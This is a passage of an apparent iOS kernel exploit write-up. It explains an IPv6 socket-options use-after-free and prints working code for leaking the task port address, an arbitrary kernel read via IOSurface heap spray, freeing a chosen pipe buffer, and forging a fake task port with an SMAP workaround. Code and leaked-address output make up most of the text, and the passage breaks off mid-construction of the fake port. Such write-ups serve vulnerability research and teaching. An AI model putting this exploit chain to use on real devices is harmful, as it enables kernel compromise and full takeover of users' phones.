ipc_kmsg_copyin() is the logic we care about here. I’ve stripped the irrelevant parts. ipc_kmsg_copyin_header() is unrelated; the action is in ipc_kmsg_copyin_body():
mach_msg_return_t
ipc_kmsg_copyin(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t map,
mach_msg_priority_t override,
mach_msg_option_t *optionp)
{
mach_msg_return_t mr;
kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
return MACH_MSG_SUCCESS;
mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);
return mr;
}
ipc_kmsg_copyin_body() first validates the OOL data, adjusts kernel space as needed, and finally calls the key function ipc_kmsg_copyin_ool_ports_descriptor():
mach_msg_return_t
ipc_kmsg_copyin_body(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t map,
mach_msg_option_t *optionp)
{
ipc_object_t dest;
mach_msg_body_t *body;
mach_msg_descriptor_t *daddr, *naddr;
mach_msg_descriptor_t *user_addr, *kern_addr;
mach_msg_type_number_t dsc_count;
// #define VM_MAX_ADDRESS ((vm_address_t) 0x80000000)
boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
boolean_t complex = FALSE;
vm_size_t space_needed = 0;
vm_offset_t paddr = 0;
vm_map_copy_t copy = VM_MAP_COPY_NULL;
mach_msg_type_number_t i;
mach_msg_return_t mr = MACH_MSG_SUCCESS;
vm_size_t descriptor_size = 0;
mach_msg_type_number_t total_ool_port_count = 0;
// destination port
dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
// kernel-side message body start
body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
naddr = (mach_msg_descriptor_t *) (body + 1);
// msgh_descriptor_count == 0 means no data; here we set it to 1
dsc_count = body->msgh_descriptor_count;
if (dsc_count == 0) return MACH_MSG_SUCCESS;
daddr = NULL;
for (i = 0; i < dsc_count; i++) {
mach_msg_size_t size;
mach_msg_type_number_t ool_port_count = 0;
daddr = naddr;
/* make sure the descriptor fits in the message */
// the first field of mach_msg_ool_ports_descriptor_t is the address
// void* address;
// 8 bytes on 64-bit, 4 bytes on 32-bit
if (is_task_64bit) {
switch (daddr->type.type) {
case MACH_MSG_OOL_DESCRIPTOR:
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
descriptor_size += 16;
naddr = (typeof(naddr))((vm_offset_t)daddr + 16);
break;
default:
descriptor_size += 12;
naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
break;
}
} else {
descriptor_size += 12;
naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
}
}
user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
// check whether we need to shift; by default there's only 1 descriptor,
// 16 bytes each. We set 1, so no shift is needed.
if(descriptor_size != 16*dsc_count) {
vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;
memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
}
kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
/* handle the OOL regions and port descriptors. */
for(i = 0; i < dsc_count; i++) {
switch (user_addr->type.type) {
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr,
user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
kern_addr++;
complex = TRUE;
break;
}
} /* End of loop */
...
}
ipc_kmsg_copyin_ool_ports_descriptor() handles the OOL data and calls the key function ipc_object_copyin():
mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
ipc_space_t space,
ipc_object_t dest,
ipc_kmsg_t kmsg,
mach_msg_option_t *optionp,
mach_msg_return_t *mr)
{
void *data;
ipc_object_t *objects;
unsigned int i;
mach_vm_offset_t addr;
mach_msg_type_name_t user_disp;
mach_msg_type_name_t result_disp;
mach_msg_type_number_t count;
mach_msg_copy_options_t copy_option;
boolean_t deallocate;
mach_msg_descriptor_type_t type;
vm_size_t ports_length, names_length;
if (is_64bit) {
mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
addr = (mach_vm_offset_t)user_ool_dsc->address;
count = user_ool_dsc->count;
deallocate = user_ool_dsc->deallocate;
copy_option = user_ool_dsc->copy;
user_disp = user_ool_dsc->disposition;
type = user_ool_dsc->type;
user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
} else {
...
}
data = kalloc(ports_length);
#ifdef __LP64__
mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
mach_port_name_t *names = ((mach_port_name_t *)data);
#endif
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
continue;
}
kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
objects[i] = object;
}
return user_dsc;
}
ipc_object_copyin() contains two functions: ipc_right_lookup_write() and ipc_right_copyin():
kern_return_t
ipc_object_copyin(
ipc_space_t space,
mach_port_name_t name,
mach_msg_type_name_t msgt_name,
ipc_object_t *objectp)
{
ipc_entry_t entry;
ipc_port_t soright;
ipc_port_t release_port;
kern_return_t kr;
int assertcnt = 0;
kr = ipc_right_lookup_write(space, name, &entry);
release_port = IP_NULL;
kr = ipc_right_copyin(space, name, entry,
msgt_name, TRUE,
objectp, &soright,
&release_port,
&assertcnt);
...
return kr;
}
ipc_right_lookup_write() calls ipc_entry_lookup(), and stores the result in entry:
kern_return_t
ipc_right_lookup_write(
ipc_space_t space,
mach_port_name_t name,
ipc_entry_t *entryp)
{
ipc_entry_t entry;
is_write_lock(space);
if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {
is_write_unlock(space);
return KERN_INVALID_NAME;
}
*entryp = entry;
return KERN_SUCCESS;
}
Two concepts matter here. One is the ipc_space struct — the IPC space of the whole task. The other is ipc_entry, which points to an ipc_object. ipc_space has a member is_table that holds all of the task’s ipc_entry entries. In our case, ipc_entry points to an ipc_port — so entry ends up holding the kernel address of the Task Port we originally passed in:
ipc_entry_t
ipc_entry_lookup(
ipc_space_t space,
mach_port_name_t name)
{
mach_port_index_t index;
ipc_entry_t entry;
index = MACH_PORT_INDEX(name);
if (index < space->is_table_size) {
entry = &space->is_table[index];
...
}
return entry;
}
Working back up: ipc_object_copyin()’s objectp parameter is stored into the objects[] array of its caller, ipc_kmsg_copyin_ool_ports_descriptor(). That array’s memory is allocated inside ipc_kmsg_copyin_ool_ports_descriptor, so if we make ports_length match the size of inp->in6p_outputopts, we can land the allocation in the freed slot:
data = kalloc(ports_length);
objects = (ipc_object_t *) data;
I drew up a call graph — note the red box.
First create a ports array to hold the user-space Task Port, then build the OOL message. Everything else is irrelevant; the two fields that matter are msg->ool_ports.address and msg->ool_ports.count. Calling msg_send() sends the message, triggering the allocation that converts the user-space Task Port into its kernel address and writes it into memory we control:
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg->hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
return q;
}
The ip6_pktopts struct is 192 bytes. I couldn’t find a header to import it, so — the crude approach — I copied the whole struct and used sizeof(). Based on the member layout, I read the pair ip6po_minmtu and ip6po_prefer_tempaddr, and added a kernel-pointer heuristic to confirm the hit:
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
int sock = get_socket_with_dangling_options();
for (int i = 0; i < 0x10000; i++) {
mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
int mtu;
int pref;
get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
mach_port_destroy(mach_task_self(), p);
close(sock);
return ptr;
}
mach_port_destroy(mach_task_self(), p);
}
close(sock);
return 0;
}
5. Leaking the IPC_SPACE kernel address
To leak the Task Port address we leaned on the kernel’s automatic user-to-kernel port conversion writing into controlled memory. To leak arbitrary kernel data we need a more stable primitive.
Look at ip6_pktopts again. We now have a pointer into that freed kernel region, and a way to make it hold data we craft. Two questions:
- How do we allocate this region and write our data into it?
- How do we turn that data into an arbitrary kernel read?
struct ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */
struct in6_pktinfo *ip6po_pktinfo;
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
struct ip6_dest *ip6po_dest1;
struct ip6po_rhinfo ip6po_rhinfo;
struct ip6_dest *ip6po_dest2;
int ip6po_tclass; /* traffic class */
int ip6po_minmtu; /* fragment vs PMTU discovery policy */
int ip6po_prefer_tempaddr;
int ip6po_flags;
};
The second question has a clean answer. ip6_pktopts has several struct-typed members, e.g. ip6po_pktinfo. We set that member’s offset to the address we want to read, set the integer ip6po_minmtu to a sentinel value, spray the crafted data into memory, then use getsockopt() to check whether the vulnerable socket’s ip6po_minmtu matches our sentinel.
If it does, the spray landed. Then getsockopt() on the ip6po_pktinfo member leaks the data at our chosen address. in6_pktinfo is 20 bytes, so the author wrote read_20_via_uaf() to leak that much from a given address:
void* read_20_via_uaf(uint64_t addr) {
int sockets[128];
for (int i = 0; i < 128; i++) {
sockets[i] = get_socket_with_dangling_options();
}
struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
fake_opts->ip6po_minmtu = 0x41424344; // sentinel value
*(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;
fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; // kernel address to read
bool found = false;
int found_at = -1;
for (int i = 0; i < 20; i++) {
spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); // heap spray
for (int j = 0; j < 128; j++) {
int minmtu = -1;
get_minmtu(sockets[j], &minmtu);
if (minmtu == 0x41424344) { // check the sentinel one by one
found_at = j; // save its index
found = true;
break;
}
}
if (found) break;
}
free(fake_opts);
if (!found) {
printf("[-] Failed to read kernel\n");
return 0;
}
// close the other sockets
for (int i = 0; i < 128; i++) {
if (i != found_at) {
close(sockets[i]);
}
}
// read fake_opts->ip6po_pktinfo through getsockopt()
void *buf = malloc(sizeof(struct in6_pktinfo));
get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
close(sockets[found_at]);
return buf;
}
With the arbitrary-read primitive sketched, the remaining problem is landing the crafted data in inp->in6p_outputopts. That calls for a new heap-spray technique: heap feng shui via IOSurface.
Here’s my own condensed version of the serialization format.
Two functions matter: OSUnserializeBinary() and OSUnserializeXML().
There are two modes for constructing data — XML and Binary. Binary mode works in uint32 units; when the data head is 0x000000d3, it automatically jumps into OSUnserializeBinary().
A uint32 is 32 bits / 4 bytes. Bit 32 marks the end node; bits 24–30 carry the stored data; bits 0–23 carry the data length.
0(31) 0000000(24) 000000000000000000000000
#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */
enum {
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
};
An example: 0x000000d3 marks Binary mode. 0x81000002 means the current collection kOSSerializeDictionary holds two elements. Then the elements follow: the first is a kOSSerializeString of length 4, 0x00414141 is its data, and kOSSerializeBoolean is the second element, whose last bit directly encodes True or False:
0x000000d3 // kOSSerializeBinarySignature
0x81000002 // kOSSerializeDictionary | 2 | kOSSerializeEndCollection
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
0x8b000001 // kOSSerializeBoolean | 1 | kOSSerializeEndCollection
The parse result of the above, noting that a string’s trailing 00 terminator takes up space:
<dict>
<string>AAA</string>
<boolean>1</boolean>
</dict>
Make sure you understand this computation — the heap spray below depends on it.
The author’s entry point is spray_IOSurface(): 32 means 32 spray attempts, 256 the number of stored array elements:
int spray_IOSurface(void *data, size_t size) {
return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}
IOSurface_spray_with_gc() is a thin wrapper around IOSurface_spray_with_gc_internal(); the trailing callback is NULL here:
bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
void *data, uint32_t data_size,
void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
data, data_size, callback);
}
The real work is in IOSurface_spray_with_gc_internal(). Let’s break it down.
Initialize IOSurface and get the IOSurfaceRootUserClient:
bool ok = IOSurface_init();
Compute the XML units each data needs. Because of the 00 terminator, subtract 1 from data_size, then round up:
size_t xml_units_per_data = xml_units_for_data_size(data_size);
static size_t
xml_units_for_data_size(size_t data_size) {
return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}
A 3-byte string plus its 00 terminator is 4 bytes — one uint32:
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
A 7-byte string plus its 00 terminator is 8 bytes — two uint32s, matching the “XML unit” computation above:
0x09000008 // kOSSerializeString | 4
0x41414141 // AAAA
0x00414141 // AAA
There are a lot of 1s here — each 1 is a uint32; I’ll break them down when constructing the real payload. This computes the XML units a full XML needs: 256 data elements, each requiring xml_units_for_data_size() units, plus 1 per data for its kOSSerializeString element tag (one uint32):
size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
With the XML unit count computed, allocate memory; xml[0] is a variable-length array:
struct IOSurfaceValueArgs {
uint32_t surface_id;
uint32_t _out1;
union {
uint32_t xml[0];
char string[0];
};
};
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
The key step: the computed values are passed to serialize_IOSurface_data_array() to build the final XML:
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);
serialize_IOSurface_data_array()’s construction matches the explanation above; the six 1s become kOSSerializeBinarySignature and the other elements:
static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,
uint32_t **xml_data, uint32_t **key) {
uint32_t *xml = xml0;
*xml++ = kOSSerializeBinarySignature;
*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++ = kOSSerializeArray | array_length;
for (size_t i = 0; i < array_length; i++) {
uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
*xml++ = kOSSerializeData | (data_size - 1) | flags;
xml_data[i] = xml; // record this offset for later data fill
xml += xml_units_for_data_size(data_size);
}
*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.
return (xml - xml0) * sizeof(*xml);
}
The final XML shape:
<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[0] -->
</kOSSerializeData>
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[1] -->
</kOSSerializeData>
<!-- ... -->
<kOSSerializeData length=${data_size - 1}>
<!-- xml_data[array_length - 1] -->
</kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
Now we have an XML template. Fill it in two parts — the crafted data and the key identifier — then call IOSurface_set_value(), a wrapper over IOConnectCallMethod() that sends the data to the kernel:
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
*key = base255_encode(total_arrays + array_id);
for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
memcpy(xml_data[data_id], data, data_size - 1);
}
ok = IOSurface_set_value(args, args_size);
}
The full main body, with unreachable logic trimmed:
static uint32_t total_arrays = 0;
static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,
void *data, uint32_t data_size,
void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
// initialize IOSurface and get the IOSurfaceRootUserClient for the calls
bool ok = IOSurface_init();
// extra_count is 0 here; each spray array holds array_length (256) elements of our crafted data
uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
// compute the node count each data element needs
size_t xml_units_per_data = xml_units_for_data_size(data_size);
size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
// Allocate the args struct.
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
// Build the IOSurfaceValueArgs.
args->surface_id = IOSurface_id;
// Create the serialized OSArray. We'll remember the locations we need to fill in with our
// data as well as the slot we need to set our key.
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml,
current_array_length, data_size, xml_data, &key);
// Keep track of when we need to do GC.
size_t sprayed = 0;
size_t next_gc_step = 0;
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
// If we've crossed the GC sleep boundary,
// sleep for a bit and schedule the next one.
// Now build the array and its elements.
*key = base255_encode(total_arrays + array_id);
for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
// Copy in the data to the appropriate slot.
memcpy(xml_data[data_id], data, data_size - 1);
}
// Finally set the array in the surface.
ok = IOSurface_set_value(args, args_size);
if (ok) {
sprayed += data_size * current_array_length;
}
}
if (next_gc_step > 0) {
// printf("\n");
}
free(args);
free(xml_data);
total_arrays += array_count;
return true;
}
That’s the spray in detail. So once we’ve crafted the spray data and length, we call rk64_via_uaf():
uint64_t rk64_via_uaf(uint64_t addr) {
void *buf = read_20_via_uaf(addr);
if (buf) {
uint64_t r = *(uint64_t*)buf;
free(buf);
return r;
}
return 0;
}
We already have the Task Port kernel address. With the struct offsets we can now resolve the IPC_SPACE kernel address:
uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
if (!ipc_space_kernel) {
printf("[-] kernel read primitive failed!\n");
goto err;
}
printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);
And the result:
[i] our task port: 0xfffffff001c3cc38
[i] ipc_space_kernel: 0xfffffff000a22fc0
6. Arbitrarily freeing a pipe buffer
A pipe is an inter-process communication mechanism; the kernel allocates a buffer for its data. fds[1] writes, fds[0] reads.
Say the read/write position starts at 0. Writing 0x10000 bytes advances it to 0x10000; reading 0x10000 bytes moves it back to 0.
The final write of 8 bytes leaves 8 bytes in the buffer so the next heap spray can fill it with crafted data we can read straight back:
int fds[2];
ret = pipe(fds);
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);
write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes
Calling setsockopt() reaches ip6_setpktopt():
setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));
For the IPV6_PKTINFO option there’s a specific logic: if pktinfo->ipi6_ifindex is 0 and the 12 bytes starting at &pktinfo->ipi6_addr are all 0, ip6_clearpktopts() frees the current ip6_pktopts->in6_pktinfo. Simplified: an all-zero struct gets freed:
#define IN6_IS_ADDR_UNSPECIFIED(a) \
((*(const __uint32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
(*(const __uint32_t *)(const void *)(&(a)->s6_addr[12]) == 0))
static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
int sticky, int cmsg, int uproto)
{
int minmtupolicy, preftemp;
int error;
boolean_t capture_exthdrstat_out = FALSE;
switch (optname) {
case IPV6_2292PKTINFO:
case IPV6_PKTINFO: {
struct ifnet *ifp = NULL;
struct in6_pktinfo *pktinfo;
if (len != sizeof (struct in6_pktinfo))
return (EINVAL);
pktinfo = (struct in6_pktinfo *)(void *)buf;
if (optname == IPV6_PKTINFO && opt->ip6po_pktinfo &&
pktinfo->ipi6_ifindex == 0 &&
IN6_IS_ADDR_UNSPECIFIED(&pktinfo->ipi6_addr)) {
ip6_clearpktopts(opt, optname);
break;
}
...
}
ip6_clearpktopts() calls FREE() to release the buffer. This touches the kernel heap’s alloc/free machinery, which is out of scope here:
#define R_Free(p) FREE((caddr_t)p, M_RTABLE);
#define FREE(addr, type) \
_FREE((void *)addr, type)
#define FREE(addr, type) \
_FREE((void *)addr, type)
#define free _FREE
#define FREE(addr, type) _free((void *)addr, type, __FILE__, __LINE__)
void
ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
if (optname == -1 || optname == IPV6_PKTINFO) {
if (pktopt->ip6po_pktinfo)
FREE(pktopt->ip6po_pktinfo, M_IP6OPT);
pktopt->ip6po_pktinfo = NULL;
}
...
}
To free the pipe buffer we first need its address, then IOSurface-spray data crafted from that address, then call setsockopt() with an all-zero in6_pktinfo to free it.
Resolve the pipe buffer address from the leaked Task Port — note the offsets are version-specific:
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
free_via_uaf() starts like rk64_via_uaf() — create a batch of vulnerable sockets and spray — but adds a fill step for the in6_pktinfo struct. Here we fill all-zero data, which triggers the free:
int free_via_uaf(uint64_t addr) {
...
struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
memset(buf, 0, sizeof(struct in6_pktinfo));
int ret = set_pktinfo(sockets[found_at], buf);
free(buf);
return ret;
}
The groundwork is done. Now the key part: forging a port.
7. Forging a Task Port
A note: SMAP landed with the iPhone 7, restricting the kernel from reading user-space memory. My test device is an iPhone 6, so I’ve downplayed SMAP up to this point — but from here on we have to face it.
Allocate a target for the forged port. find_port_via_uaf() uses the OOL auto-conversion trick to get the port’s kernel address target_addr; free_via_uaf() frees the pipe_buffer, but the pipe handles fds[0] and fds[1] still hold read/write access to that kernel buffer:
mach_port_t target = new_port();
uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
ret = free_via_uaf(pipe_buffer);
This loop works like find_port_via_uaf(): use the auto-converted Task Port kernel address to occupy the just-freed pipe_buffer. Since we wrote 8 bytes earlier, reading 8 bytes gives us the first 8 bytes of pipe_buffer. Compare the address obtained this way against the address from the other method; if they match, exit the loop. If not, the spray missed — reset the position and retry:
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
uint64_t addr;
read(fds[0], &addr, 8);
if (addr == target_addr) { // if we see the address of our port, it worked
break;
}
write(fds[1], &addr, 8); // reset buffer position
mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
p = MACH_PORT_NULL;
}
Besides fds, allocate another pair port_fds to bypass SMAP:
int port_fds[2] = {-1, -1};
if (SMAP) {
ret = pipe(port_fds);
}
Once we hold a kernel buffer pipe_buffer full of port kernel addresses, we build the ipc_port struct.
Place the ipc_port and task structs in a contiguous region, and after building, flush the port_fds buffer:
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->ref_count = 0xff;
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}
kport_t is a port struct constructed by the author:
typedef volatile struct {
uint32_t ip_bits;
uint32_t ip_references;
struct {
uint64_t data;
uint64_t type;
} ip_lock; // spinlock
struct {
struct {
struct {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct {
uint64_t next;
uint64_t prev;
} waitq_queue;
} waitq;
uint64_t messages;
uint32_t seqno;
uint32_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
uint32_t pad;
} port;
uint64_t klist;
} ip_messages;
uint64_t ip_receiver;
uint64_t ip_kobject;
uint64_t ip_nsrequest;
uint64_t ip_pdrequest;
uint64_t ip_requests;
uint64_t ip_premsg;
uint64_t ip_context;
uint32_t ip_flags;
uint32_t ip_mscount;
uint32_t ip_srights;
uint32_t ip_sorights;
} kport_t;
The goal: replace the Fake Task Port’s address into the freed kernel buffer pipe_buffer, so the buffer layout becomes — first 8 bytes = our Fake Task Port address, followed by the normal port addresses.
First get the Fake Task Port address port_pipe_buffer, i.e. the kernel buffer behind port_fds:
uint64_t port_fg_data = 0;
uint64_t port_pipe_buffer = 0;
if (SMAP) {
fproc = rk64_check(fd_ofiles + port_fds[0] * 8);
f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);
}
fakeport->ip_kobject points to the Task struct, not yet initialized. This completes the Fake Task Port memory layout:
fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
Flush the finished Fake Task Port into the kernel buffer:
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
This is the freed pipe_buffer. Replace its first 8 bytes with the port_pipe_buffer address — so the memory the first port kernel address points to is now controllable through port_fds:
write(fds[1], &port_pipe_buffer, 8);
Get the Fake Task Port’s user-space handle by reading the OOL data we sent back from p; the first element is our Fake Task Port. Just as the user→kernel path calls CAST_MACH_NAME_TO_PORT to convert a user handle to a kernel address, the kernel→user path calls CAST_MACH_PORT_TO_NAME to convert a kernel address back to a user handle:
struct ool_msg *msg = malloc(0x1000);
